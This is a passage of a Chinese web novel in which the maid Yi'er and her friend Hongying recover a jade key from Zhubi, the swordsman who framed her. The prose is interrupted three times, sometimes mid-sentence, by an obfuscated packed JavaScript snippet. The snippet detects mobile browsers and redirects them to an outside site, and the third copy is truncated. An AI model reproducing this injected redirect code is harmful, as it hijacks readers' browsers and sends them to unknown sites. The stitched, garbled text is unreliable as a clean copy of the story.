她的小院子里种了很多蔬果,一株橘子树叶片茂盛,还结了一两颗青皮果。门槛两侧则种了很多矮小的花朵,五颜六色,烂漫动人。 红璎看了几眼,以手叩门,“宜尔,是我,红璎。” 里头轻微地应了一声,“进来吧。” 宜尔趴在床上,手里捧着一本书,看起来一脸平静,全然不像刚被打了的模样。 红璎搬了把凳子挪坐在她前面,“昨日你来找我,今日我来找你,真神奇是不是?” “确实,”她知道他想逗她笑,放下书扯了个笑容,勉强的笑稍纵即逝,“公子来找我作甚?” “馆主让我把这个给你。”红璎递给她一个钱袋。 宜尔打开袋子,久久地凝望着里面的银锭,“你也觉得是我偷的吗?” “当然不是,你不是那样的人。” 宜尔眼睛一红,眉毛往上一缩,眼泪吧嗒吧嗒就落了下来,她抿着颤动的唇,将脸埋进胳膊肘。 她隔着手臂发出呜咽的啜泣声,胸口因急速的吸气抽动着。 她怪逐璧,更怪自己轻信他人,没个提防心,而且她虽然跟逐璧呛话,实际对此又无能为力。 “我怎么那么蠢……” 红璎胸口发闷,“是骗子不对,你忘了?” 宜尔哭声渐止,她抬起脸,用袖子擦眼睛,结果灰渣落进左眼,她疼得一直眨。 红璎捧住她的脸,用帕子帮她擦,但宜尔眼睛还是疼。 “你再哭点吧,有点难擦。” 宜尔眨下两滴泪来,红璎用帕子一道抹去,她眼睛不疼了,也不哭了。 “欸,宜尔。”红璎定定地看着她。 宜尔吸了吸鼻子,“嗯?” “我们去把玉偷回来如何?” 4. 第 4 章 看到宜尔趴着的模样,红璎恍然间笑了,“忘了你还伤着,不该说‘我们’,我一人去给你把玉偷回来。” 宜尔忍着眼睛的热意,笑着摇了摇头,“别害了你,算了。” “有挚友不使唤,搞得如此生分作甚?” “不是生分,是怕到时候害得你也屁股开花,你不怕疼吗?” 红璎拍拍她身旁的位置,“那我俩就躺一排,也有个说话的伴,还不用干活。” 宜尔笑了笑,“真的算了,打都打了,再拉上一个你不划算。我已经没那么伤心和生气了。” “可我还气着。”他的眼睛波光粼粼,“宜尔你老实本分又善良,为何要平白无故受欺负?” 宜尔的眼又红了,她抿着唇不让泪水掉下来。 “你安心呆着,等我好消息。”红璎挑眉,站起身。 宜尔拽住他衣袖,“等下,我也要去。” “你这个样子,要我背你去不成?” 宜尔摇头,“过几日再去。” “哦?为何?”他又坐回来。 “那半块玉的断口并不齐,是那种有棱有角的,”宜尔用手比划,“很像是嵌在机关里的东西。” “机关?” 宜尔点点头,“莺语从外头听来,又说给我听的。前段时日江湖上说是找到了昔日名门王家庄的藏宝山洞,传说中削铁如泥的一鸣神剑就在其中。但山洞门口有一精巧机关,没有钥匙进不去,我觉得钥匙就是那块玉。” 红璎也听过这个传闻,“可逐璧只会剑舞而已,也想用那种神剑?” “不知道,兴许是打算拿去卖钱?但赫赫有名的六剑公子想找神剑并不奇怪。而且“辟土”,一个土上面加个斧头一“横”就是王。” 红璎手肘抵着膝盖,手掌托着下巴笑,“你这不是很聪慧么?” 宜尔愣了一下,她垂下眼睛,“我乱猜的。” 她一口气讲了不少话,红璎觉得很神奇,“说起来,我曾经还以为你是个哑巴。” 这突然的话题让宜尔不禁奇怪地看向他。 “每次远远对上视线时,你就点点头。然后面对面碰到时,我问你话,你要么摇头,要么点头。若不是有一回见到你同莺语边走边聊天,我一直以为你不会说话。” “我……一天本就没什么话要说。” 除了洗东西就是晾东西,她也不爱出门,没什么新鲜事同人分享。至于书里看来的那些故事,没看过的人一头雾水,她怕解释一大段惹人烦,更不会提。 后来莺语来了,她很爱说,也很爱问她,不介意她长篇大论,久而久之宜尔也就话多了。 她将书册抬起,半遮住自己的脸,重新找到点安心感后续道:“总之,逐璧要花时间去开门,但一定不会马上启程,如此显眼会被叶为春盯上。再过四日就是歇班日,正是好时机。届时我的伤应当也好了许多,可以下地了,我们在前一日趁其松懈时去偷。” 红璎点点头,“听你的。” 宜尔抬眼看他,有些忐忑,“你当真要跟我去偷玉?万一被抓住,你跟逐璧以后可就闹翻了。” “我俩关系本就一般。他太红了,我嫉妒他。” 宜尔笑了笑,谢谢你三个字在喉头滚了又滚,就是没有往外蹦。小事上道谢容易,这样的事她却不知为何有些不好意思说。 红璎那日怎么就能那么直接地说出口呢?明明他们都不熟。 “怎么了?”红璎看她。 宜尔摇头,低下脸,把眼睛塞回书页上。 红璎往后虚靠,左右看了看,“你这床上这么暗,还看书,不怕害了眼病?” “光趴着太闷了。” 红璎又晃上前,左手一摊放在她面前,“书给我,念给你听。” 宜尔捏着书脊,“你这挚友会不会待我太好了?” “所以才是挚友不是?我当时可不是乱说的。拿来吧,我给你读完。” 宜尔松开手,任他把书抽走,“可我们也不过才在昨日结为挚友。” “那你不也给了我那么大袋钱?”他的眼睛从书中撩起,“你真奇怪啊,明明自己更大方。” “是么……” 红璎纤长细密的眼睫压下去,声音很轻:“像我这类人,遇见好的缘分不容易。若不抓紧,也许以后都不会再碰到像你这样的朋友。宜尔。” “嗯?” “我是个很怕孤单的人。” 宜尔心口一软,“嗯”了一声,可仍然有些不习惯莺语以外的人如此照料自己,她感到尴尬,但那种尴尬很快就消失了。 红璎读得极其好。 他在亮堂的地方,捧着书给她声情并茂地读,不同角色声线还不同,有时是温柔的书生,有时是粗犷的屠户,碰到有女角,他掐了半天嗓子,声音娇俏,给宜尔逗得眉眼弯弯。 有时宜尔听得入迷了还以为自己在看戏剧,屁股上的疼痛似乎也渐渐远了。 疲惫感袭来,宜尔闭着眼睛听,听着听着就困了,红璎没回去前就睡着了。 她睡得早,醒得也早,天还蒙蒙亮的时候就睁开了眼睛。 屋外有鸟雀叽叽喳喳的声音,书已经被放回了她手侧。 头发是散着的,想来是莺语晚上来看她时替她梳洗了。 宜尔双臂一撑想站起来,但火辣辣的疼痛还是让她又趴回去了。 她翻开书,欻欻地一路往后翻,找昨日红璎念到的地方,接着看。 可屋里实在暗淡,青灰色的雾蒙在书页上,有些字模糊得宜尔得眯着眼睛辨认半晌。 才看了没几页她的眼睛就开始花了,宜尔只好放弃。她握着书,两手交叠抵在下巴后面,默默地看着自己的木门。 她的门很旧,中间有许多细长的缝。早晨的光会透过那些细缝一点点在地面长大。 她的门,大风来的天气会嘎吱作响,还晃得很厉害。这是因为坏过一次,再装上去就不太稳当。 那天是夜里喝多了的客人走错了,大半夜哐哐敲门。宜尔不知道是谁,问了话又不回,吓得不敢动,结果对方又开始踹门,力气大得将门直接踹在了地上,她和那女人面面相觑,还好龟公及时赶到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559161|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是道可怜的门。 宜尔脸侧趴着,闭上眼准备睡个回笼觉,可怎么都睡不着。她还是睁开眼,盯着细缝透出来的光逐渐拉长,再拉长……直至她的屋子变亮,她才又拿出书册继续看。 又过了一阵子,买完菜的莺语回来,帮着她洗漱换衣,擦药涂药…… 看着为自己忙前忙后的莺语,宜尔道:“总觉得我像你婆婆似的,让你这么伺候,麻烦你了莺语。” 莺语拍了下她的肩,“我都未必待我婆婆这么好嘞,跑着去买菜又跑回来,简直是你最好的朋友,对吧?” “对。” “那对自己最好的朋友有所隐瞒是不是很过分啊?” “那倒未必。” 宜尔看着她鼓起脸,浅浅一笑,“好了,想知道什么直接问我就好。” 莺语不好意思地笑了笑,她往她嘴里塞了块馒头,自己也拿了块吃,“你跟红璎怎么回事啊?我听刀鱼说看到他往你院子这边走,快到时辰了才离开。” 宜尔说了那晚的事,莺语瞪大眼睛,但想想又平静了,“像你会做的事。那他说要做你挚友就直接来照顾你了啊?” “嗯。红璎比我想象中还要人好。” “他吧,”莺语回想了下平日相处的情形,他们交际其实也不多,莺语和爱聊八卦的雀琳更熟,“以前总觉得不大聪明,妆化得那么夸张对吧?人家在笑他都没发现,然后这次还被个寡妇骗了钱,不过确实是公子里好说话的。” 宜尔想起之前在前堂看到有人笑他“美娇娘”时。 莺语看她走神扁了嘴,“我才是你挚友对吧?不会有了新欢忘了旧爱的对不对?” 宜尔一本正经:“得看莺语美人的表现了。” “哎呀,大王~”莺语娇滴滴地虚往她怀里钻。 两人说说笑笑吃完了早点,莺语回去补觉了,小小的房间又重新变得很大。 但几个时辰后又变得很小。红璎拎了盒吃食过来,“饿了吧?莺语说早上她喂你,午时我喂你。” 他将东西放在桌上,拿出来摆。 “谢谢。” 红璎转过头来,“你不问晚间谁来吗?” 宜尔刚从书中抽离出来,有些呆,“莺语。” “你这般聪慧,没点意思。” 宜尔笑着摇了摇头。 她的日子就这样在莺语喂一餐、红璎喂一餐中度过了。 宜尔能下床后,莺语给她削了根树枝当拐杖,这样她和红璎不在时她也能四处走走,免得身子僵酸。 宜尔杵着杖在后院赏花庭来回走时,看到一道熟悉的身影。 叶为春半侧着身子隐在墙后,目光来回扫视着所有人。尤其在刚从暖阁方向出来的人脸上多停顿几眼。 他似乎是在找什么人。 宜尔撑着身子往前走,听到脚步声,叶为春凌厉地转过头来,杀气腾腾,又在看到宜尔的刹那消散。 叶为春别开眼。 发生那样的事情,他还不知该如何面对此人。可叶为春最终还是看了回来,甚至向宜尔走去。 5. 第 5 章 叶为春开口道:“宜尔姑娘,这冠玉馆可是有个叫万金的常客?” 宜尔对他没什么情绪,只是略感悲凉,她点点头。 以为她故作冷淡,叶为春颇为尴尬,他迟疑了下,仍然问道:“你可知她这几日为何没来?” 宜尔又摇头。 叶为春哑然,“姑娘还在怨我?我已有其他怀疑对象,如今正在找寻。当时情急,才……” 宜尔没什么精神,话难免有些少。意识到自己的沉默让对方误会了,她开口道:“不是。其实叶公子来之前,我单是个后院洗衣裳的,对前堂知之甚少。我只知万姑娘半月前突然出现,出手大方。其他的你得问问倌人们。” 他将信将疑,心情有些低落,“……嗯,多谢姑娘。” 宜尔颔首,拄着拐杖准备离开。 叶为春看着她的背影逐渐远去,为自己的冤枉错怪而感到愧疚。 宜尔走到月洞门处,一道艳红的身影弯偏出来,吓她一跳。 红璎失笑,倚着壁,“小跛子,溜圈呢?”他抬手扶了扶有些晃荡的宜尔,等她站稳又收回手。 “嗯。”宜尔警惕地看向四周。 红璎也学着她的样子环视一周,“突然跟只猫似的,哪里有老鼠么?” 宜尔看回他,“我怕逐璧瞧见我俩待在一起,对你起疑,今晚不好行动。” 红璎眉头一挑,“他本也未对我卸下心防。” “你说的也是。但他现在多少更防我,你白日就不要来见我了。” 红璎笑了起来,“你这话说的我们像是那种私会的书生跟小姐。” 宜尔红了脸,感到尴尬。 她以前不怎么同那些倌人说话,不擅长回应男子轻浮的话语,知道这是玩笑,可又不知回什么,远不如同莺语时自在。 红璎看出她的无措,低下眼,“抱歉,我说笑说过了。” 他将欢乐场上的坏德行带了过来。 “我不大习惯……” “不用习惯,我以后不说了。”他声音很轻。 宜尔点点头,“那你快回去吧。” 红璎又恢复如常,“我先送你回去?” 她抬起自己的拐杖,“我自己会走。” “行吧,别摔了等下哭啊。”红璎笑了笑,转身离去。 * 夜色深沉,晚风温凉。 宜尔蹲在草丛中,竭力忽视屁股上的疼痛,盯着在自己手背上吸血的蚊子,两指悄悄靠近,一把将其捏死,往地上一甩。 地上已有六具蚊子尸体。 身后窸窸窣窣传来声音,宜尔冒出头,看到红璎穿了件严严实实的黑衣裳,脸也遮得就露出双眼睛。 难怪这么久才过来…… 宜尔招招手,指了指前面不远处的窗户,低声道:“就那扇,我早上买通丫鬟留了个窗,去吧。” 红璎点点头,他蹲着身子,一步一步往前挪移,而宜尔则留在原地望风。 她上下左右来回地看,最后担忧地看向红璎。看着他一步一步小小地走,她屏息凝视。正要转头再看看外面时,肩膀上突然落下重量,宜尔心一沉,扭回头。 红璎走出草丛,屈着身子贴墙走,一直走到窗下时,回头准备再看宜尔一眼,却见王乌正按着宜尔的肩膀,默然地看着他们。 “搞什么?” 将二人带了回来的王乌坐在上头,敲了敲桌子,“还好蜻蜓跑来同我说有人买通她。你俩今日进逐璧房间想做什么?报复?” “那倒不是。”红璎坐到他对面,“馆主,你就不能睁一只眼闭一只眼吗?” “这事不行。” “为何不行?” “我说不行就不行。”他凝起眉目。 “我要将玉偷回来,还给叶公子。”一直垂首不语的宜尔突然开口,抬头看向王乌。 王乌却挪开眼睛,不太敢看宜尔。他这个岁数,什么风风雨雨都见过,可还是逃不过良心的谴责。 “一块玉而已,别折腾了。” 红璎:“那玉可是开王家庄宝藏的钥匙?” 王乌瞪大眼睛,“你如何知晓?” “宜尔猜的。话说馆主你也姓王,不会吧?” 王乌终于将眼睛放在宜尔脸上了,他“唉”了一声,五官皱了皱,百般纠结后开口道:“你们别再掺和了。看在多年情分上,我实话实说,其实叶为春才是小偷,那玉本就是逐璧先有的。” “无凭无据,要人如何信最会张口胡说的冠玉馆馆主?” 宜尔蹙眉,“逐璧是王家庄的人?” 王乌点头,“他是我大哥的小儿子。” 红璎:“你带你侄子出卖色相?” “当年陛下派兵剿灭王家庄,我俩好不容易逃出去,中途却走散了。我机缘巧合入这行,能保命混口饭吃已是不错。后来运气好又找回了他。而王家落魄后,东西几经周转,如今落在这些江湖人士手中,受人把玩,逐璧难以忍受,才提出要将玉偷走。就算自己如今不配拥有,也绝不叫其他人辱没了祖宗的积攒。” 王乌看向宜尔,“我也没想到他会靠诬陷你来为自己摆脱嫌疑。” 宜尔沉下脸。 “宜尔,我再给你些钱银,你放弃吧。” 王乌伸手去腰间摸银子,宜尔摇摇头,“不必了,我不想要。我身子还有些不适,就先回去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559162|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,馆主。” 王乌点头,“……回去吧。” 他看着红璎跟着宜尔推开门走远,然后将门掩上,走到屏风后头。 玉兰画屏后,风姿卓越的男子坐在凉席上,仰首看他。 王乌:“逐璧,你要我这样跟他们说真不会出事么?” 逐璧笑笑,又摇头,起身往外走。 * 红璎跟着宜尔走在月光洒照的小径上,两侧树影婆娑,风吹中有细小的沙沙声。 宜尔屁股疼,拄着杖走起来有些歪歪扭扭,她偏头看向他,“回去吧,好不容易请回假,多歇歇。大晚上在外面折腾,辛苦你了。” 红璎:“你放弃了?” “那既然本就是他的东西,我还有什么好说?”宜尔轻轻叹了一声。 “偷了再放回去不就行了?吓吓他出口恶气也好。” 宜尔一怔,又笑了,水润的眼睛看着他,“你怎如此聪明?” 红璎的脸隐在树影中,浅然一笑,“向来如此。” 两人又鬼鬼祟祟溜回去。 红璎继续从后窗翻进去,宜尔在逐璧门前溜达,以免有人突然进去撞见红璎。 没过多久,远处一道青色的人影走近,宜尔赶紧连连咳了三声。 刚咳完,阴影中的人就露出了形貌,是逐璧。宜尔吓得真呛到了,扶着柱子咳了许多声。 逐璧眼角、唇角都含着浅淡的笑,一步一步靠近,停在她半步不到的位置,弯身垂首间,他的呼吸轻轻扑在她面庞,“深更半夜,宜尔你来找我,莫不是要我以身报答你?” 嗓子干痒,宜尔掩唇咳得更厉害了,脸涨脖子红,逐璧退远,他走过去推开房门,宜尔心一揪,但往里一看还好没有人,她安下心来。 逐璧很快又走出来,端了杯茶水给她,看着她饮下。 宜尔平复下来,她捏着杯子,“公子,我是来收回我曾经的话的,我们往后也没什么仇怨,就是点头之交。馆主已同我说了你的身世,公子你是为了护住祖宗财产。虽然你害我挨打,但看在你苦命的份上,我原谅你了。” 逐璧莞尔一笑,“宜尔豁达大度,我不能及也。” 宜尔心虚地垂下眼,“那我便先告退了,公子好梦。” 她拄着杖正要走,手腕被拉住,“且慢。” 宜尔用拐杖撑着自己,紧张地回头看他,“怎么了?” 逐璧微笑着,“这江湖上的事黑白相混,搅得污浑,什么也看不清,人心亦是。” 宜尔不明所以。 “宜尔是来找玉的吧?” 她身子僵硬。 逐璧松开手,道:“可惜玉我已经丢了。” 6. 第 6 章 “为何?”震惊之下,宜尔不自觉脱口而问。 逐璧:“我剑术平平,此等要物留在身上,终日提心吊胆,不如丢了,高枕安卧。” 宜尔收拾心绪,尽量装作不在意地问道:“公子难道不想要那一鸣神剑?据说里头还有财宝无数。” 逐璧一笑,“再强大再富有的老鼠仍是老鼠,始终要躲在阴沟中生存,连自己真正的姓名都不能用。有没有那些还重要吗?” 宜尔顿时心生苦闷悲哀,既为自己,更是为他。 确实,像他这样的亡命之徒,就算再有钱再厉害,也无法在日光下坦然生活。 “说起来,公子为何要栽赃给我?我平日可是何处得罪你了?” “得罪?”逐璧思索了一番,“似乎没有。宜尔你不过是倒霉罢了。” 宜尔哑口无言。 “我早先让你捡了东西悄悄给我,是想看你会不会受我诱惑,听我的话,可你没有,那我便要为自己多考虑一番。话虽如此,舍你为我,是我不对,你想怎么打骂都行。” 宜尔倒真想踹他几脚、骂他几句为自己出气,脑海中浮现诸多肮脏难听的话语,可怎么也冒不出口。 王家庄曾在江湖显赫一方,如今他随着叔叔藏身于此,逗笑女子,如何不算个苦命人呢? 宜尔命也不甜,可逐璧比自己更苦。只要这样一想,说出那些恶毒的话也不会令她解气,反而添堵。 宜尔是个很容易放弃的人。 或许正如逐璧所说吧,无端被扯进这种事,她确实是个倒霉人。 宜尔低下眉眼,“我明白了。” 月色斜照在二人之间,半明半暗。 逐璧突然开口,声音和缓,“我说过会报答你,你可记得?” 宜尔记得是记得,但当时只以为他是客套罢了。 “我虽对男女之事不甚热情,但若是宜尔想,春宵一度我也不介意。你身子不便,我会多助着你些的。”他走近半步,手欲伸来扶她。 宜尔鸡皮疙瘩一起,“不、不必了。”她拄着杖踉跄退开,“这么晚,叨扰良久是我不好。” 逐璧笑看她一瘸一拐地走远,直至身影尽褪,他眉宇间笑意荡然无存,只同月光一般冰冷。 红璎在草丛里拍蚊子,盯着那个一瘸一拐的身影走近,蹭地站起来,“怎回来得这样晚?出什么事了?” 宜尔又想起逐璧方才所说,脸上生热,“给逐璧缠住了。你在他屋内可有找着什么?” 红璎皱起眉,略有些不悦,“翻了个遍,什么也没有。” “看来他所言不虚。逐璧说他已经把玉丢了,如今再想出气也没法了。” “宝剑加宝物,他竟不为所动。”红璎垂眼看她,“宜尔你怎如此倒霉?连出个气的机会也无,要不我平日找个机会绊他一跤算了。” 宜尔看着他脸颊上鼓起的一个个蚊子红包,释然地笑了笑,“能与你结为挚友,可见我运气倒也不算太坏。算了,就这样吧。你饿不饿?柴爷以前总会给我和莺语偷偷留两碗面,放在夜里吃。” 红璎一巴掌又拍在鼻头的蚊子上,落了一点鲜红,“饿得很,它们倒是饱死了。” 宜尔笑笑,带着他往厨房走。 * 翌日,整个冠玉馆关门休息。 杂役、丫鬟们回家的回家,睡大觉的睡大觉,没人干活,四处空荡荡。 宜尔照样醒得早,不用去烧水做事,又睡不着,她便起身去打理院落。 她去井边打了一小桶水,用水瓢一瓢一瓢地泼浇自己种的花花草草。 她年轻,身体恢复得很快,已经不需要拐杖了。其实昨天就不大用得上了,她走路时,屁股只会轻微地感到酸疼,偶尔再有点生肌长肉的痒。 昨日拄着杖只是为了让逐璧他们放松警惕。 宜尔浇完门槛外的花,去浇侧边的橘子树。 绿色枝头挂着的两三颗青皮橘果散发着青涩的香气,轻微的酸苦中透着甜,跟逐璧身上的味道很像。 宜尔走上前揪住果实,一个一个拧断往地上一丢。 她看着青橘子轱辘轱辘滚远,发了会儿呆,又去拿靠在墙上的铁锹,走回来弯身将橘子树连根翘起。 宜尔将土根用打湿的布包好,也不顾屁股发疼,拽着橘子树拖到街巷口,挂了个“十文一棵”的牌子。 没多久就有人来将橘子树拖走了。 宜尔看着远去的橘子树,看着人来人往的巷口发了许久的呆,又往回走。 她回到冠玉馆,却没有直接回自己的院子,在外头四处闲逛。 从赏花庭走到观鲤长廊,从长廊走到洗院…… 平日总是充斥着洗洗刷刷声音的洗院很安静。她往里走,晾在空地上的床单飘飘扬扬,抖着风声。 宜尔和秦姐姐并不是很讲究的人,但凡晾绳上有空就挂,先把一根挂满再往后头挂。 可宜尔的母亲就挂得很漂亮。她对自己洗了些什么记得很清晰,晾晒时分门别类地挂好,收起来时整理得很快。 宜尔和母亲马涓并非闭城人士。他们本住在遥远的山土之地,在家乡大旱后不得已出来讨生活。 马涓个子小,又很瘦弱,带着幼女找了许多地方都无人留她做工。后来是柴爷在街上看她和孩子饿得面黄肌瘦,介绍了冠玉馆的工作。 男人堆里洗衣裳,马涓自己是无所谓,可总担心孩子受影响。她本想着先将孩子扶养大,攒点钱,等女儿十四岁就走,没成想这一干就干到了人生尽头。 马涓染了寒病离世,宜尔那年十三。 王馆主平常虽然抠搜,但还是将宜尔学塾的费用付清,让她上完了最后一年学。 自那以后,宜尔便留在洗院,勤勤恳恳地搓衣裳、洗布单。 虽然平日里总和莺语悄悄说王馆主坏话,可宜尔一直很感谢他当年没有将自己直接轰走。 宜尔十七岁那年曾有一次出馆的机会,对方年纪虽大了点,但脾气很好。 然而宜尔没有答应。 柴爷已头发花白,多年来无数次对她和母亲施以援手,照顾着他们。宜尔答应了母亲会为其养老送终,她说到做到。 柴爷想做一辈子厨子,那她就等,她还年轻,有很多时间可以给那个执拗善良的老爷子。 宜尔年幼时自从被一名女客误以为是倌人的孩子后,就一直只在洗院附近玩。如今难得有闲暇,她离开洗院,在冠玉馆中四处走,四处看。 “宜尔!”不远处,一名瘦瘦黑黑的少年唤她。 “刀鱼?”她看着他跑来,手上还拿着个包袱,“今日不是休息么?你还要替人跑腿?” 刀鱼摸摸后脑袋笑,“有钱挣干嘛不挣?术璞公子要外出游玩,马车要走时落了东西,让我回来取。”他举了举手上的包袱。 宜尔闻到一丝若有似无的、熟悉的清甜味。她以为是自己手上残留的橘子味,低头嗅了嗅自己的手,什么也没闻到,又凑上去闻刀鱼手上的包袱,虽然很淡,但确实是有柑橘的气息。 “你这里头有橘子?” “这个时节哪有橘子吃?公子说是落了午食,想来就是些水和豆糕吧?” 宜尔盯着包袱,陷入深思。 “你可知逐璧公子今日在做什么?” “王馆主找他下棋喝酒去了。说是要跟他大醉一场,好好休息一番,叫我们都别去打扰呢。哎呀,不和你多话了,等下术璞公子等急了。”刀鱼急匆匆往外走。 宜尔立于原地,心头涌起一股难以平息的浪潮。 “宜尔!你在这儿!”清朗的声音呼唤她,红璎一路疾跑来,刹在她面前时发丝都乱了,“受着伤还那么能走,我找了你一上午没瞧见人影。要不要去吃城东那家烤鸭?最近很有名气。” 红璎走近了才看清她皱着眉,面容愁苦,“怎了?谁欺负你了?” 宜尔看向他,“逐璧又骗我。” 红璎收起轻松肆意的神态,“是如何?” “他根本就没有将玉丢掉,不准备放过那些宝物。他昨日不过是在麻痹我,哄骗我罢了,就为了能得到十足的安心。我猜他一定趁刀鱼回来这阵功夫,和术璞交换,坐上了马车,等下便要出城去寻王家庄的宝藏了。” 红璎虽然没太听懂来龙去脉,但听明白了最后,他拉过宜尔的手臂,“那我们跟上去,反正今日休息。” 宜尔的郁闷烦躁被惊讶替去,“红璎你……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559163|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >红璎笑了笑,“不快些可就追不上了。来,我背你。”他直接背向她,弯下身子,两手往后一揽就将她背了起来。 宜尔吓了一跳,两臂赶紧挽住他肩脖,稳住身形。 “走,我们阴魂不散地缠上去,给他好看。”红璎快步往外走。 宜尔看着他的后脑勺,不知为何,忽然笑出了声。 * 晚凉天净月华开。朗朗夏日,天地也似覆了霜雪。 马蹄达达,马车轮滚滚,最终停在田野外一处偏僻客栈前。 掀开车帘的是一只修长玉手,随之走出来的更是难得一见的美男子,令简陋的马车瞬时也添了不少风华。 逐璧落地,将钱付给马夫,看着马夫将马车赶走。明早会有另一辆马车来接他。 他走进朴实干净的客栈,前台坐守的老板是位打扮随性的妇人,手里捧着把南瓜子,往嘴里一丢,磕完了呸地吐到盘中。 见逐璧这样光彩照人的人进来,她没什么反应,只是手摆了摆,“公子住店啊?” 逐璧也不在意,“是,劳烦老板。” 客栈老板站起身,拍了拍身上落的壳,原本就不大牢靠的发团松松垮垮地垂下来,搭在脑袋后头,“我带你上楼。” 与老板本人的邋遢随性不同,她领到的房间干净整洁,还有艾草熏过的气息。 逐璧看着老板出去后,收拾了一番东西后下楼吃饭。 他只点了碗素面,清汤上飘着油花和绿葱,入口有一种难言的清爽,面汤更是滋味浓郁。连逐璧这样对吃食兴趣缺缺的人都忍不住吃得干干净净。 用过膳食,逐璧回到房间,坐在桌侧翻看剑谱。等着烛火将尽时,他腹部鼓胀,连连泄了许多次气。即使无人,逐璧也不禁脸热。 他起身去开窗透风,然后肚子又开始微痛。 看来还是不能吃得太多……逐璧摇摇头,起身下楼去茅房。 窗台有鸟落足,叽叽地叫着,左蹦右跳。 两双脚出现,将鸟吓飞。 宜尔和红璎翻窗而入。 两人这一路又是抄近道,又是快马加鞭,好不容易跑在逐璧前到了此地,又拿钱买通老板安排他们邻着住。 至于逐璧的腹痛,自然是红璎跑去后厨往面里下药的缘故。 逐璧歪主意再多,也不过是个江湖新手。 红璎感慨:“美男子也要吃喝拉撒睡,世道真是公平。” 宜尔没空搭理他。这一路过来屁股都要颠散了,眼下落地手脚不停,只一门心思找东西。 她翻过逐璧的包袱,翻过柜子,连床底都看了,找得满头大汗仍一无所获。 宜尔扭头看向又抽开了柜子的红璎,“他难道如厕时也带着玉不成?那柜子我翻过了。” 红璎还来不及答,门外突然传来脚步声,红璎揽住宜尔的腰往后一撤,一倒,摔出窗户,跌在瓦檐上,滑落至他们提前放好的被褥上。 红璎抱着她,垫在最下面,即使如此,宜尔仍疼得龇牙咧嘴。 不敢有片刻停留,红璎站起身,拽过她就往外跑。 夜里的风特别冷,糊在脸上似乎连呼吸也要吹走。 两人一路往外,冲到了田野地旁的小径才气喘吁吁地停下来。 宜尔和红璎坐在田埂上。 跑得脸颊通红的红璎偏头看她,“就这么坐下来,你屁股不疼?” “累得不行,顾不上疼。”宜尔拿出手帕擦汗,眼前辽阔的稻田绿意盎然,一望无际。 擦着擦着她被自己傻笑了,“我俩只为出口恶气,竟然跑了这么远。只可惜还是无功而返。” “是么?” 宜尔奇怪地看向他,“什么是不是的,难不成你能把玉变出来吗?” 星野下,红璎的眼睛亮晶晶,“你看这是什么?” 他摊开手,一块圆润的碧玉正在他掌间,上刻“辟土”二字。 宜尔紧紧地盯着玉,不敢相信自己的眼睛。 她看着看着就笑了,笑着笑着眼角就渗出泪来,宜尔抬手抹掉,仍然笑着,乐呵呵的。 “你开心吗?” 宜尔点点头,“开心。” 红璎莞尔,“我也是。” 7. 第 7 章 宜尔把玩着手里的碧玉,举起来对着月光看。 江湖中人人寻找的“钥匙”如今就在她这个无名小卒手中,着实是奇异的缘分。 红璎闲了无聊在编草环,一边编一边看她,“要不你去把那财宝拿了?” 宜尔对宝剑不感兴趣,对他人的钱财更不感兴趣。 “不义之财若拿在身上,指不准要惹出什么祸来。” 红璎思索了会儿,“嗯”了一声,低头采几朵紫色小野花夹在草环间。 思量间,宜尔的目光暼到不远处一辆牛粪车。 她盯得久了,本就一直抽空瞄她的红璎也顺着她的目光看去。 等她收回目光时,红璎也看回来,两人相视一笑。 * 返回房间的逐璧看着空荡荡的柜子,中间夹的那层薄板被掀起。 能知道他有这种藏东西习惯的人极少。 咚咚咚,有人敲门。 逐璧出去开门,捏着信封的小二被他阴沉的面容吓了一跳,声音微小,“公子,有您的信。说是一定要立即给您送来。” “谁给的?” “一个姑娘。” 逐璧拿过信,关上门展开一看,只见纸上黑字写到: 【玉已置于客栈向东半里第三道田埂上粪车中。 此生不幸,与尔结仇。此仇已报,此恨已消。也愿你终有一天能行于日光之下】 逐璧将目光从信纸上抬起,轻笑一声。 * 不在调的哼唱声轻扬。 “最近心情很好嘛你。” 莺语一边将桌布铺好扯平,一边看正在给花瓶换花的宜尔。 咔嚓一声,宜尔将一束荷花枝斜剪,“有吗?” “哼——是不是因为逐璧失踪了?” “沉冤得雪,心情自然一直很好。”宜尔手一松,粉嫩的荷花在花瓶中散开,依垂着彼此。 逐璧走了以后就没回来,消息全无。 没多久江湖上多了个辟土剑客。 莺语起初对此的评价是,名字太土,太不够高手,瞧瞧人家六剑公子,听起来就横贯四方。 然而下次再听闻时,六剑公子败给了辟土剑客,一蹶不振。自此在他们冠玉馆除了饮酒就是睡觉,偶尔清醒时再找找万金。 